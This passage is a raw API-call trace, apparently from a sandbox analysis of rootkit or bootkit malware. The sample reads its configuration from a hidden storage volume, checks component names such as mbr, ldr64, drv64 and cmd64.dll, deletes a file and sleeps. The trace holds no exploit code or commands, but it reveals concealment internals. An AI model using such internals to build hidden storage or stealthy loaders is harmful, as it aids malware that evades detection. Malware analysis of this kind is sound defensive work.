0xc000007e [0119.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] KeLeaveCriticalRegion () [0119.572] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.572] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.572] KeEnterCriticalRegion () [0119.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] ExFreePoolWithTag (P=0xfffffa80039d67e0, Tag=0x0) [0119.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] KeLeaveCriticalRegion () [0119.572] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.572] ReleaseMutex (hMutex=0xf0) returned 1 [0119.572] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.572] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.572] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.572] KeEnterCriticalRegion () [0119.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.572] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.572] IdePortDispatch () returned 0x103 [0119.573] KeWaitForMutexObject () returned 0x0 [0119.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.573] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.573] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.573] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.573] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.573] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1f10 [0119.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.573] KeLeaveCriticalRegion () [0119.573] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.573] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.573] KeEnterCriticalRegion () [0119.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.573] KeLeaveCriticalRegion () [0119.573] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.573] KeEnterCriticalRegion () [0119.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.573] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.573] IdePortDispatch () returned 0x103 [0119.573] KeWaitForMutexObject () returned 0x0 [0119.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.573] KeLeaveCriticalRegion () [0119.573] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.573] KeEnterCriticalRegion () [0119.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.573] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002daf000 [0119.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.574] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.574] IdePortDispatch () returned 0x103 [0119.575] KeWaitForMutexObject () returned 0x0 [0119.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.575] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.575] IdePortDispatch () returned 0x103 [0119.575] KeWaitForMutexObject () returned 0x0 [0119.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.575] KeLeaveCriticalRegion () [0119.575] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.576] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.576] KeEnterCriticalRegion () [0119.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] KeLeaveCriticalRegion () [0119.576] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.576] KeEnterCriticalRegion () [0119.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.576] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] KeLeaveCriticalRegion () [0119.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.576] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.576] KeEnterCriticalRegion () [0119.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] ExFreePoolWithTag (P=0xfffffa8003aa1f10, Tag=0x0) [0119.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] KeLeaveCriticalRegion () [0119.576] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.576] ReleaseMutex (hMutex=0xf0) returned 1 [0119.576] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.576] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.576] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.576] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.576] KeEnterCriticalRegion () [0119.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.576] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.577] IdePortDispatch () returned 0x103 [0119.577] KeWaitForMutexObject () returned 0x0 [0119.577] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.577] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.577] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.577] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.577] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.577] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.577] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.577] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.577] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.577] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.577] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.577] KeLeaveCriticalRegion () [0119.577] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.577] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.577] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.577] KeEnterCriticalRegion () [0119.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.577] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.577] IdePortDispatch () returned 0x103 [0119.577] KeWaitForMutexObject () returned 0x0 [0119.577] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.578] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.578] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.578] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.578] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.578] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.578] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.578] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.578] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.578] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.578] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.578] KeLeaveCriticalRegion () [0119.578] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.578] ReleaseMutex (hMutex=0x100) returned 1 [0119.578] Sleep (dwMilliseconds=0x2bf20) [0119.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a7a0490, dwHighDateTime=0x1d24fa4)) [0119.584] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.584] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.584] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.584] KeEnterCriticalRegion () [0119.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.584] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.584] IdePortDispatch () returned 0x103 [0119.584] KeWaitForMutexObject () returned 0x0 [0119.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.585] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.585] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.585] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.585] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.585] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bafb30 [0119.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.585] KeLeaveCriticalRegion () [0119.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.585] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.585] KeEnterCriticalRegion () [0119.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.585] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.585] KeLeaveCriticalRegion () [0119.585] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.585] KeEnterCriticalRegion () [0119.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.585] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.585] IdePortDispatch () returned 0x103 [0119.585] KeWaitForMutexObject () returned 0x0 [0119.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.585] KeLeaveCriticalRegion () [0119.585] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.585] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.585] KeEnterCriticalRegion () [0119.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.585] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db2000 [0119.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.585] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.586] IdePortDispatch () returned 0x103 [0119.586] KeWaitForMutexObject () returned 0x0 [0119.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.586] IdePortDispatch () returned 0x103 [0119.586] KeWaitForMutexObject () returned 0x0 [0119.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.586] KeLeaveCriticalRegion () [0119.586] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.586] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.587] KeEnterCriticalRegion () [0119.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] KeLeaveCriticalRegion () [0119.587] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.587] KeEnterCriticalRegion () [0119.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.587] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] KeLeaveCriticalRegion () [0119.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.587] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.587] KeEnterCriticalRegion () [0119.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] ExFreePoolWithTag (P=0xfffffa8003bafb30, Tag=0x0) [0119.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] KeLeaveCriticalRegion () [0119.587] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.587] ReleaseMutex (hMutex=0xf0) returned 1 [0119.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.587] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.587] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.587] KeEnterCriticalRegion () [0119.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.587] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.587] IdePortDispatch () returned 0x103 [0119.587] KeWaitForMutexObject () returned 0x0 [0119.587] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.587] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.588] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.588] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.588] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.588] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.588] KeLeaveCriticalRegion () [0119.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.588] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.588] KeEnterCriticalRegion () [0119.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.588] KeLeaveCriticalRegion () [0119.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.588] KeEnterCriticalRegion () [0119.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.588] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.588] IdePortDispatch () returned 0x103 [0119.588] KeWaitForMutexObject () returned 0x0 [0119.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.588] KeLeaveCriticalRegion () [0119.588] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.588] _snprintf (in: 